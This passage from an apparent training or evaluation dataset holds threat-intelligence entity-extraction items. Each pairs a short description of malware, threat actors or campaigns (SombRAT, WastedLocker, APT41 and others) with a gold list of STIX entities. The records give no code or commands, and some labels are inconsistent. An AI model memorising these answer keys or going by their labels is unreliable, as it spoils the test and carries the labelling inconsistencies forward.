Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRogueRobin created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.\n",
    "output": "<entities>RogueRobin|Windows|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTrojan.Karagany is a modular remote access tool used for recon and linked to Dragonfly and Dragonfly 2.0. The source code for Trojan.Karagany originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. \n",
    "output": "<entities>Trojan.Karagany|Dragonfly|Dragonfly 2.0|Dream Loader</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSombRAT is a modular backdoor written in C++ that has been in use since at least 2019. SombRAT has been used to download and execute malicious payloads, including FIVEHANDS ransomware.\n",
    "output": "<entities>SombRAT|C++|FIVEHANDS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nC0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.\n",
    "output": "<entities>C0015|Bazar|Cobalt Strike|Conti</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNet Crawler uses PsExec to perform remote service manipulation to execute a copy of itself as part of lateral movement.\n",
    "output": "<entities>Net Crawler|PsExec</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\npwdump can be used to dump credentials from the SAM.\n",
    "output": "<entities>pwdump</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMelcoz can use VBS scripts to execute malicious DLLs.\n",
    "output": "<entities>Melcoz|VBS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKOMPROGO is capable of retrieving information about the infected system.\n",
    "output": "<entities>KOMPROGO</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSodaMaster can check for the presence of the Registry key HKEY_CLASSES_ROOT\\\\Applications\\\\VMwareHostOpen.exe before proceeding to its main functionality.\n",
    "output": "<entities>SodaMaster|HKEY_CLASSES_ROOT\\\\Applications\\\\VMwareHostOpen.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHildegard has used xmrig to mine cryptocurrency.\n",
    "output": "<entities>Hildegard|xmrig</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOperation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.\n",
    "output": "<entities>Operation CuckooBees|Winnti Group|BARIUM|APT41|East Asia|Western Europe|North America</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKasidet can execute commands using cmd.exe.\n",
    "output": "<entities>Kasidet|cmd.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKinsing has created and run a Bitcoin cryptocurrency miner.\n",
    "output": "<entities>Kinsing|Bitcoin</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWastedLocker is a ransomware family attributed to Indrik Spider that has been used since at least May 2020. WastedLocker has been used against a broad variety of sectors, including manufacturing, information technology, and media.\n",
    "output": "<entities>WastedLocker|Indrik Spider</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHikit supports peer connections.\n",
    "output": "<entities>Hikit</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nImminent Monitor has a dynamic debugging feature to set the file attribute to hidden.\n",
    "output": "<entities>Imminent Monitor</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOctopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.\n",
    "output": "<entities>Octopus|Windows|Nomadic Octopus|Central Asia|Delphi</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPACEMAKER is a credential stealer that was used by APT5 as early as 2020 including activity against US Defense Industrial Base (DIB) companies.\n",
    "output": "<entities>PACEMAKER|US Defense Industrial Base|APT5</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A 